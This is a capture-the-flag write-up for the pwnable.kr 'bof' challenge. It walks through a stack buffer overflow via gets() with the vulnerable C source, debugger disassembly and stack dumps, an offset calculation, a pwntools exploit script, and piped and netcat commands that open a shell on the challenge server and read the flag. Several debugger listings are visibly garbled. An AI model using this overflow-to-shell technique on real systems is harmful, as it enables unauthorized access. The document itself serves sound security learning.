PWNABLE.KR - bof

Given two files to download

Binary

Source Code

Lets list our files,

```
ra@moni~/P/p/bof> ls -la
total 24
drwxrwxr-x 2 ra ra 4096 Jun 2 16:08 ./
drwxrwxr-x 5 ra ra 4096 Jun 2 16:04 ../
-rw-rw-r-- 1 ra ra 7348 Jun 2 16:08 bof
-rw-rw-r-- 1 ra ra 308 Jun 2 16:08 bof.c
-rw-rw-r-- 1 ra ra 126 Jun 2 16:09 bof.md
```

Lets check our binary file type using file command

```
ra@moni~/P/p/bof> file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
```

The source code of the binary file is,

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme); // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
```

Now lets try playing with our binary,

```
ra@moni~/P/p/bof> ./bof
fish: The file "./bof" is not executable by this user
ra@moni~/P/p/bof> chmod +x bof
ra@moni~/P/p/bof> ./bof
overflow me :
deadbeef
Nah..
```

So, it is expecting some different input from us

Lets observe the given binary,

- It has two functions main() and func()
- main() only calls func()
- The flow of whole binary depends on func()
- The func() checks the key value
- If key is equal to 0xcafebabe then it spwans a shell
- Else it displays an error message
- But, already func() is loaded with key in main() like func(0xdeadbeef)

So we have to perform a "OVERFLOW"

Our binary uses gets() from #include <string.h>

It is possible to perform "BUFFER OVERFLOW" on gets(), since it is a vulnerable function

Lets try to crash our program,

So we can perform "OVERFLOW" in this binary

Lets check the security mitigations of this binary,

```
ra@moni~/P/p/bof> checksec ./bof
[*] '/home/ra/PWNPractice/pwnable.kr/bof/bof'
   Arch: i386-32-little
   RELRO: Partial RELRO
   Stack: Canary found
   NX: NX enabled
   PIE: PIE enabled
```

Lets disassemble our program using debugger

Disassembling main()

```
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push
                           ebp
   0x0000068b <+1>: mov
                           ebp, esp
   0x0000068d <+3>: and
                           esp, 0xfffffff0
   0x00000690 <+6>: sub
                           esp, 0x10
   0x00000693 <+9>: mov
                           DWORD PTR [esp], 0xdeadbeef
   0x0000069a <+16>:
                        call
                               0x62c <func>
   0x0000069f <+21>:
                        mov
                                eax, 0x0
   0x000006a4 <+26>:
                        leave
   0x000006a5 <+27>:
                        ret
End of assembler dump.
```

Disassembling func()

```
pwndbg> disassemble func
Dump of assembler code for function func:
   0x0000062c <+0>: push
                            ebp
   0x0000062d <+1>: mov
                            ebp, esp
   0x0000062f <+3>: sub
                            esp, 0x48
   0x00000632 <+6>: mov
                            eax, gs:0x14
   0x00000638 <+12>:
                        mov
                                DWORD PTR [ebp-0xc], eax
   0x0000063b <+15>:
                         xor
                                eax, eax
   0x0000063d <+17>:
                                DWORD PTR [esp], 0x78c
                         mov
   0x00000644 <+24>:
                         call
                                0x645 <func+25>
   0x00000649 <+29>:
                         lea
                                eax, [ebp-0x2c]
   0x0000064c <+32>:
                         mov
                                DWORD PTR [esp], eax
   0x0000064f <+35>:
                         call
                                0x650 <func+36>
   0x00000654 <+40>:
                                DWORD PTR [ebp+0x8], 0xcafebabe
                         cmp
                         jne
   0x0000065b <+47>:
                                0x66b <func+63>
   0x0000065d <+49>:
                         mov
                                DWORD PTR [esp], 0x79b
   0x00000664 <+56>:
                         call
                                0x665 <func+57>
   0x00000669 <+61>:
                                0x677 <func+75>
                         jmp
   0x0000066b <+63>:
                                DWORD PTR [esp], 0x7a3
                         mov
   0x00000672 <+70>:
                         call
                                0x673 <func+71>
```

```
0x00000677 <+75>:
                       mov
                              eax, DWORD PTR [ebp-0xc]
   0x0000067a <+78>:
                              eax, DWORD PTR gs:0x14
                       xor
   0x00000681 <+85>:
                             0x688 <func+92>
                       jе
                             0x684 <func+88>
   0x00000683 <+87>:
                       call
   0x00000688 <+92>:
                      leave
   0x00000689 <+93>:
                      ret
End of assembler dump.
```

Now, here is the interesting part in this func() function

```
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
```

So the value <code>0xdeadbeef</code> will be in the stack memory, we just need to replace the value with <code>0xcafebabe</code> by overflow

So lets test it with some dummy input and find the offset of <code>0xdeadbeef</code> from <code>overflowme</code>

Lets set the breakpoints and pass inputs to analyze,

Go for main() first,

```
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push ebp
   0x0000068b <+1>: mov
                          ebp, esp
   0x0000068d <+3>: and esp, 0xfffffff0
   0x00000690 <+6>: sub esp, 0x10
   0x00000693 <+9>: mov
                          DWORD PTR [esp], 0xdeadbeef
   0x0000069a <+16>: call
                             0x62c <func>
   0x0000069f <+21>:
                              eax, 0x0
                       mov
   0x000006a4 <+26>:
                      leave
   0x000006a5 <+27>:
                       ret
End of assembler dump.
pwndbg> b *main
Breakpoint 1 at 0x68a
```

Now start the program,

```
EBX 0x0
 ECX 0x8e86f40a
 EDX 0xffffd824 ← 0x0
 EDI 0xf7fa7000 (_GL0BAL_0FFSET_TABLE_) ← 0x1ead6c
 ESI 0xf7fa7000 (_GL0BAL_0FFSET_TABLE_) ← 0x1ead6c
 EBP 0x0
 ESP 0xffffd7fc → 0xf7ddaee5 (__libc_start_main+245) ← add esp, 0x10
 EIP 0x5655568a (main) ← push ebp
                                          -----[ DISASM
 ▶ 0x5655568a <main>
                           push ebp
                           mov ebp, esp
and esp, 0xffffff0
   0x5655568b <main+1>
   0x5655568d <main+3>
                          sub esp, 0x10
mov dword ptr [esp], 0xdeadbeef
   0x56555690 <main+6>
   0x56555693 <main+9>
                           call func <func>
   0x5655569a <main+16>
   0x5655569f <main+21>
                                 eax, 0
                            mov
   0x565556a4 <main+26>
                           leave
   0x565556a5 <main+27>
                           ret
   0x565556a6
                            nop
   0x565556a7
                            nop
                                       ----[ STACK
00:0000| esp 0xffffd7fc \rightarrow 0xf7ddaee5 (__libc_start_main+245) \leftarrow add
esp, 0x10
01:0004
            0xffffd800 ← 0x1
            0xffffd804 → 0xffffd894 → 0xffffda26 ←
02:0008
'/home/ra/PWNPractice/pwnable.kr/bof/bof'
03:000c | 0xffffd808 → 0xffffd89c → 0xffffda4e ←
'ALACRITTY_LOG=/tmp/Alacritty-34408.log'
04:0010 | 0xffffd80c \rightarrow 0xffffd824 \leftarrow 0x0
             0xffffd810 → 0xf7fa7000 (_GL0BAL_0FFSET_TABLE_) ← 0x1ead6c
05:0014
06:0018
           0xffffd814 \leftarrow 0x0

0xffffd818 \rightarrow 0xffffd878 \rightarrow 0xffffd894 \rightarrow 0xffffda26 \leftarrow
07:001c
'/home/ra/PWNPractice/pwnable.kr/bof/bof'
                                     F BACKTRACE
 ▶ f 0 0x5655568a main
  f 1 0xf7ddaee5 __libc_start_main+245
```

After running the program,

```
pwndbg> disassemble func
Dump of assembler code for function func:
    0x5655562c <+0>: push    ebp
    0x5655562d <+1>: mov    ebp,esp
    0x5655562f <+3>: sub    esp,0x48
```

```
0x56555632 <+6>: mov eax, gs:0x14
  0x56555638 <+12>:
                       mov
                             DWORD PTR [ebp-0xc], eax
                     xor
  0x5655563b <+15>:
                             eax, eax
  0x5655563d <+17>:
                      mov DWORD PTR [esp], 0x5655578c
  0x56555644 <+24>:
                      call
                             0xf7e2dcd0 <__GI__IO_puts>
  0x56555649 <+29>:
                             eax, [ebp-0x2c]
                      lea
  0x5655564c <+32>:
                      mov
                             DWORD PTR [esp], eax
  0x5655564f <+35>:
                      call 0xf7e2d1b0 <_I0_gets>
                      cmp
  0x56555654 <+40>:
                             DWORD PTR [ebp+0x8], 0xcafebabe
  0x5655565b <+47>:
                             0x5655566b <func+63>
                      jne
  0x5655565d <+49>:
                      mov
                             DWORD PTR [esp], 0x5655579b
                      call 0xf7e01830 <__libc_system>
  0x56555664 <+56>:
  0x56555669 <+61>:
                      jmp 0x56555677 <func+75>
  0x5655566b <+63>:
                      mov
                             DWORD PTR [esp], 0x565557a3
  0x56555672 <+70>:
                      call 0xf7e2dcd0 <__GI__I0_puts>
                      mov eax, DWORD PTR [ebp-0xc]
  0x56555677 <+75>:
  0x5655567a <+78>:
                      xor
                           eax, DWORD PTR gs:0x14
  0x56555681 <+85>:
                       jе
                             0x56555688 <func+92>
  0x56555683 <+87>:
                      call 0xf7ed44e0 <__stack_chk_fail>
                      leave
  0x56555688 <+92>:
  0x56555689 <+93>:
                     ret
End of assembler dump.
pwndbg> b *0x56555654
Breakpoint 2 at 0x56555654
```

Now lets continue our program, until the "compare logic"

Lets pass our inputs,

```
pwndbg> c
Continuing.
overflow me :
Breakpoint 2, 0x56555654 in func ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
                          -----[ REGISTERS
EBX 0x0
*ECX 0xf7fa7580 (_I0_2_1_stdin_) ← 0xfbad2288
*EDX 0xffffd7df ← 0xadbeef00
EDI 0xf7fa7000 (_GL0BAL_0FFSET_TABLE_) ← 0x1ead6c
ESI 0xf7fa7000 (_GL0BAL_0FFSET_TABLE_) ← 0x1ead6c
*EBP 0xffffd7d8 ← 'AAAAAAA'
*ESP 0xffffd790 → 0xffffd7ac ←
*EIP 0x56555654 (func+40) ← cmp dword ptr [ebp + 8], 0xcafebabe
                              -----[ DISASM
▶ 0x56555654 <func+40>
                         dword ptr [ebp + 8], 0xcafebabe
                    cmp
                         func+63 <func+63>
  0x5655565b <func+47>
                    jne
```

```
mov
  0x5655566b <func+63>
                             dword ptr [esp], 0x565557a3
  0x56555672 <func+70>
                       call
                             puts <puts>
  0x56555677 <func+75>
                             eax, dword ptr [ebp - 0xc]
                       mov
  0x5655567a <func+78>
                       xor
                             eax, dword ptr gs:[0x14]
                       je func+92 <func+92>
  0x56555681 <func+85>
                       call __stack_chk_fail <__stack_chk_fail>
  0x56555683 <func+87>
  0x56555688 <func+92>
                       leave
  0x56555689 <func+93>
                       ret
  0x5655568a <main>
                       push
                             ebp
                                     -[ STACK
00:0000 | esp 0xffffd790 → 0xffffd7ac ←
0xffffd794 ← 0x534
01:0004
           0xffffd798 ← 0x9e
02:0008
03:000c
         0xffffd79c → 0xf7fa5a80 (__dso_handle) ← 0xf7fa5a80
04:0010
          0xffffd7a0 ← 0x0
05:0014
           0xffffd7a4 → 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
06:0018
           0xffffd7a8 → 0xf7ffc7e0 (_rtld_global_ro) ← 0x0
07:001c | eax 0xffffd7ac ←
—[ BACKTRACE
▶ f 0 0x56555654 func+40
  f 1 0x414141
  f 2 0xdeadbeef
  f 3
          0x0
```

Lets view our stack values in memory,

```
pwndbg> x/50wx $esp
0xffffd790: 0xffffd7ac 0x00000534 0x0000009e 0xf7fa5a80
0xffffd7a0: 0x00000000 0xf7fa7000 0xf7ffc7e0 0x41414141
0xffffd7b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd7c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd7d0: 0x41414141 0x41414141 0x4141414 0x00414141
0xffffd7e0: 0xdeadbeef 0x00000000 0x565556b9 0x00000000
Oxffffd7f0: Oxf7fa7000 Oxf7fa7000
                                  0x00000000 0xf7ddaee5
0xffffd800: 0x00000001 0xffffd894
                                  0xffffd89c
                                              0xffffd824
0xffffd810: 0xf7fa7000 0x00000000
                                  0xffffd878 0x00000000
0xffffd820: 0xf7ffd000
                      0x00000000
                                  0xf7fa7000 0xf7fa7000
0xffffd830: 0x00000000 0x8e7f65c4
                                  0xca9223d4 0x00000000
0xffffd840: 0x00000000
                      0x00000000
                                  0x00000001 0x5655530
0xffffd850: 0x00000000 0xf7fe7b24
```

We can clearly see that,

0xffffd7e0 has 0xdeadbeef

Our buffer starts after 0xffffd7a0+ 12 bytes = 0xffffd7ab

Lets find the offset of the Oxdeadbeef data.

offset=0xffffd7e0-0xffffd7ac

Offset distance can be given by,

```
>>> hex(0xffffd7e0-0xffffd7ac)
'0x34'
>>> print(0x34)
52
```

So Oxdeadbeef comes after 52 bytes of buffer

If we can overwrite <code>0xdeadbeef</code> with <code>0xcafebabe</code>, a shell will be opened

Now, lets try to exploit the program locally using pwntools

```
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
#p=remote(host,port)
p=process('./bof')
p.send(buf)
p.interactive()
```

By running this exploit

```
ra@moni~/P/p/bof> python exploit.py
[+] Starting local process './bof': pid 36634
[*] Switching to interactive mode

$
$ whoami
ra
$
```

```
[*] Interrupted
[*] Stopped process './bof' (pid 36634)
```

Other way to exploit by piping,

```
ra@moni:~/PWNPractice/pwnable.kr/bof$ (python -c
"print('A'*52+'\xbe\xba\xfe\xca')";cat) | ./bof
overflow me :
whoami
ra
ls
bof bof.c bof.md exploit.py
echo "OVERFLOW"
OVERFLOW
```

Now lets try to exploit this on server,

Now lets try it,

```
ra@moni:~/PWNPractice/pwnable.kr/bof$ (cat exploitdata ;cat)| nc
128.61.240.205 9000
overflow me :
whoami
bof
cat flag
daddy, I just pwned a buFFer :)
```

Lets do with pwntools

```
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
p=remote(host,port)
#p=process('./bof')
p.send(buf)
p.interactive()
```

Trying it,

```
ra@moni~/P/p/bof> python3 test.py
[+] Opening connection to 128.61.240.205 on port 9000: Done
[*] Switching to interactive mode
$ whoami
$ whoami
bof
$ cat flag
daddy, I just pwned a buFFer :)
```

Done! we got the flag

```
Flag: daddy, I just pwned a buFFer :)
```